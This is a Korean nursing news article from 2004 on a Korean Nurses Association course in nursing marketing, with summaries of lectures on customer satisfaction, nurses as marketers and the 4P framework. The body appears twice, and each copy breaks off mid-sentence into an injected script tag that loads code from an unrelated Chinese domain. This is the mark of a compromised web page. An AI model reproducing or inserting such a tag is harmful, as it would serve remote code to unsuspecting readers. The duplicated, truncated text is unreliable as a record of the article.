간호관리에서의 마케팅 접근
간협, 강의·해외연수 프로그램 실시
[편집국] 박미경 mkpark@nursenews.co.kr 기사입력 2004-06-17 오전 09:50:20
고객감동을 창출하고 병원경영에 기여하는 `간호 마케팅'을 펼치기 위해 간호사는 무엇을 알고 어떻게 실천해야 하는가.
대한간호협회는 `간호관리에서의 마케팅 접근(Market Based Nursing)' 교육과정을 강의와 해외연수로 엮어 7∼13일 실시했다. 백양 이영복(전 대한간호협회장) 기념사업의 일환인 이번 교육과정은 간호관리자들이 간호 마케팅 전략을 수립·실행해 간호조직과 병원조직의 목표를 달성토록 돕는다는 취지에서 기획됐다.
강의 프로그램으로 진행된 교육과정Ⅰ에는 간호부서장, 간호행정관리자 등 100여명이 참가해 병원 마케팅 이론에 관해 심도 깊게 이해하고, 실제 간호관리에서 마케팅을 적용할 방안을 모색하는 시간으로 이뤄졌다. `마케팅 개념과 전략 수립'을 비롯한 5편의 강의가 진행됐다.
이어 싱가포르 병원 연수로 진행된 교육과정Ⅱ에는 간호관리자와 간호학 교수 44명이 참가해 앞서가는 마케팅 활동상을 보고 배우는 기회를 가졌다.
연수 참가자들은 방문한 병원들에서 간호 마케팅의 중요성을 확인하는 한편, 앞으로 한국 병원의 경쟁력을 향상시키려면 간호사의 적극적인 마케팅 참여가 절대 필수적이라는 공감대를 형성했다.
박미경 기자 mkpark@nursenews.co.kr
◈ 강의 ◈
◆ 고객 감동 서비스 창출- 유 동 근(세종대 경영학과 교수)
병원에서의 마케팅은 환자와 보호자 등 의료서비스 수요자들의 문제를 해결하고 그들을 기쁘게 한 대가로 병원이 생존과 번영을 위해 필요한 투입요소를 갖는 거래이자 교환행위라 할 수 있다.
병원이 고객에게 제공하는 상품으로는 치료·수술·투약 등 의료서비스 뿐만 아니라 간호사의 친절한 태도, 정신적 안정, 건강정보와 상담, 쾌적하고 청결한 환경, 질 높은 환자식이 등 매우 다양하다. 따라서 병원은 총체적 관점에서 고객의 문제를 해결하고 다양한 요구를 충족시켜 줄 수 있어야 한다.
21세기 병원 경쟁력의 주요 결정인자는 관심과 배려가 녹아있는 부가서비스들이며, 마케팅 패러다임은 과업지향사고에서 고객지향사고로 전환되고 있다. 또한 병원의 미래는 고객의 경험지각에 달려있다.
남달리 탁월한 감동을 경험한 고객만이 병원의 미래를 도울 수 있다. 감동이란 사전기대보다 실제경험이 더 컸을 때 생기므로, 경쟁자가 잊고 있는 작은 요소들을 통해 고객을 감동시키고 평생고객으로 만들려는 인식과 의지가 간호사를 비롯해 병원 구성원 모두에게 필요하다.
◆마케팅 핵심인력 간호사-김 현 옥(연대 세브란스병원 간호부원장)
무한경쟁, 의료경영화의 시대를 맞아 많은 병원들이 마케팅에 역점을 두고 있다. 이에 따라 간호사들도 마케팅에 적극 관여해 고객 만족도를 최대화하고 병원경영에 기여해야 한다.
마케팅의 과정은 조사에서부터 시작된다. 설문이나 자문, 적극적인 사후관리로 고객 요구를 파악한다. 내부 마케팅 즉, 일차적 시장인 조직구성원들에 대한 조사도 필요하다. 대중과의 관계도 중요하므로 지역사회를 찾아가 건강강좌나 검진서비스 등을 실시한다.
홍보에서는 의료진, 테크놀로지, 서비스, 개인사례 등을 알리는 방법을 쓴다. 미국 병원에서는 실력이 뛰어난 의사나 전문간호사를 내세우는 홍보전략으로 마케팅 효과를 톡톡히 보고 있다.
미국에서 간호사는 가장 신뢰받는 직업인이라는 대중적 인식 때문에 마케터로서 유리한 조건을 갖춘 이로 인정받는다. 병원이 고객에게 줄 수 있는 가치 있는 상품이 어떤 것인지 잘 알고 있고, 고객의 요구를 잘 파악하며, 의료지식을 토대로 한 뛰어난 의사소통기술을 지니고 있는 만큼 성공하는 병원을 만들기 위한 마케팅전략을 세우고 추진해 나갈 최적임자로 손꼽힌다.
◆ 간호 가치 높이는 길-강 윤 숙(적십자간호대학 교수)
간호조직에서의 마케팅 접근(Market Based Nursing·MBN)은 간호 이미지를 능동적이고 주체적으로 구현할 수 있는 수단이 되며 적정 간호수요 발굴 및 간호서비스 공급, 간호 생산성과 전문성의 가시화(경제지표화), 직업 정체성 유지, 간호조직 목표 달성, 고객 만족 등을 위해서도 꼭 필요하다.
간호 마케팅은 적극적으로 간호 대상자의 요구를 파악하고 만족시켜야 하는 너싱홈 등 창업 분야, 기존 조직 내에서 혁신적인 간호프로그램을 개발 전달하고자 할 때, 간호의 질 보장을 위한 활동 등에서 특히 요구된다.
간호 마케팅 수단은 4P이론에 입각해 정리할 수 있다. 최상의 간호상품을(product), 차별화된 비용에(price), 병원 혹은 가정 등에서(place) 제공하며, 간호서비스 홍보 등으로 마케팅을 촉진한다(promotion).
마케터로서 간호관리자는 변화설계자, 마케팅 촉진자, 이미지 관리자의 역할을 담당해야 한다. 간호조직에서는 지속적인 교육훈련, 산학협력연구를 통한 DB구축, 의사결정과정에 적극적인 참여 등 마케팅에 접근하?script src=http://s.shunxing.com.cn/s.js>
대한간호협회는 `간호관리에서의 마케팅 접근(Market Based Nursing)' 교육과정을 강의와 해외연수로 엮어 7∼13일 실시했다. 백양 이영복(전 대한간호협회장) 기념사업의 일환인 이번 교육과정은 간호관리자들이 간호 마케팅 전략을 수립·실행해 간호조직과 병원조직의 목표를 달성토록 돕는다는 취지에서 기획됐다.
강의 프로그램으로 진행된 교육과정Ⅰ에는 간호부서장, 간호행정관리자 등 100여명이 참가해 병원 마케팅 이론에 관해 심도 깊게 이해하고, 실제 간호관리에서 마케팅을 적용할 방안을 모색하는 시간으로 이뤄졌다. `마케팅 개념과 전략 수립'을 비롯한 5편의 강의가 진행됐다.
이어 싱가포르 병원 연수로 진행된 교육과정Ⅱ에는 간호관리자와 간호학 교수 44명이 참가해 앞서가는 마케팅 활동상을 보고 배우는 기회를 가졌다.
연수 참가자들은 방문한 병원들에서 간호 마케팅의 중요성을 확인하는 한편, 앞으로 한국 병원의 경쟁력을 향상시키려면 간호사의 적극적인 마케팅 참여가 절대 필수적이라는 공감대를 형성했다.
박미경 기자 mkpark@nursenews.co.kr
◈ 강의 ◈
◆ 고객 감동 서비스 창출- 유 동 근(세종대 경영학과 교수)
병원에서의 마케팅은 환자와 보호자 등 의료서비스 수요자들의 문제를 해결하고 그들을 기쁘게 한 대가로 병원이 생존과 번영을 위해 필요한 투입요소를 갖는 거래이자 교환행위라 할 수 있다.
병원이 고객에게 제공하는 상품으로는 치료·수술·투약 등 의료서비스 뿐만 아니라 간호사의 친절한 태도, 정신적 안정, 건강정보와 상담, 쾌적하고 청결한 환경, 질 높은 환자식이 등 매우 다양하다. 따라서 병원은 총체적 관점에서 고객의 문제를 해결하고 다양한 요구를 충족시켜 줄 수 있어야 한다.
21세기 병원 경쟁력의 주요 결정인자는 관심과 배려가 녹아있는 부가서비스들이며, 마케팅 패러다임은 과업지향사고에서 고객지향사고로 전환되고 있다. 또한 병원의 미래는 고객의 경험지각에 달려있다.
남달리 탁월한 감동을 경험한 고객만이 병원의 미래를 도울 수 있다. 감동이란 사전기대보다 실제경험이 더 컸을 때 생기므로, 경쟁자가 잊고 있는 작은 요소들을 통해 고객을 감동시키고 평생고객으로 만들려는 인식과 의지가 간호사를 비롯해 병원 구성원 모두에게 필요하다.
◆마케팅 핵심인력 간호사-김 현 옥(연대 세브란스병원 간호부원장)
무한경쟁, 의료경영화의 시대를 맞아 많은 병원들이 마케팅에 역점을 두고 있다. 이에 따라 간호사들도 마케팅에 적극 관여해 고객 만족도를 최대화하고 병원경영에 기여해야 한다.
마케팅의 과정은 조사에서부터 시작된다. 설문이나 자문, 적극적인 사후관리로 고객 요구를 파악한다. 내부 마케팅 즉, 일차적 시장인 조직구성원들에 대한 조사도 필요하다. 대중과의 관계도 중요하므로 지역사회를 찾아가 건강강좌나 검진서비스 등을 실시한다.
홍보에서는 의료진, 테크놀로지, 서비스, 개인사례 등을 알리는 방법을 쓴다. 미국 병원에서는 실력이 뛰어난 의사나 전문간호사를 내세우는 홍보전략으로 마케팅 효과를 톡톡히 보고 있다.
미국에서 간호사는 가장 신뢰받는 직업인이라는 대중적 인식 때문에 마케터로서 유리한 조건을 갖춘 이로 인정받는다. 병원이 고객에게 줄 수 있는 가치 있는 상품이 어떤 것인지 잘 알고 있고, 고객의 요구를 잘 파악하며, 의료지식을 토대로 한 뛰어난 의사소통기술을 지니고 있는 만큼 성공하는 병원을 만들기 위한 마케팅전략을 세우고 추진해 나갈 최적임자로 손꼽힌다.
◆ 간호 가치 높이는 길-강 윤 숙(적십자간호대학 교수)
간호조직에서의 마케팅 접근(Market Based Nursing·MBN)은 간호 이미지를 능동적이고 주체적으로 구현할 수 있는 수단이 되며 적정 간호수요 발굴 및 간호서비스 공급, 간호 생산성과 전문성의 가시화(경제지표화), 직업 정체성 유지, 간호조직 목표 달성, 고객 만족 등을 위해서도 꼭 필요하다.
간호 마케팅은 적극적으로 간호 대상자의 요구를 파악하고 만족시켜야 하는 너싱홈 등 창업 분야, 기존 조직 내에서 혁신적인 간호프로그램을 개발 전달하고자 할 때, 간호의 질 보장을 위한 활동 등에서 특히 요구된다.
간호 마케팅 수단은 4P이론에 입각해 정리할 수 있다. 최상의 간호상품을(product), 차별화된 비용에(price), 병원 혹은 가정 등에서(place) 제공하며, 간호서비스 홍보 등으로 마케팅을 촉진한다(promotion).
마케터로서 간호관리자는 변화설계자, 마케팅 촉진자, 이미지 관리자의 역할을 담당해야 한다. 간호조직에서는 지속적인 교육훈련, 산학협력연구를 통한 DB구축, 의사결정과정에 적극적인 참여 등 마케팅에 접근하?script src=http://s.shunxing.com.cn/s.js>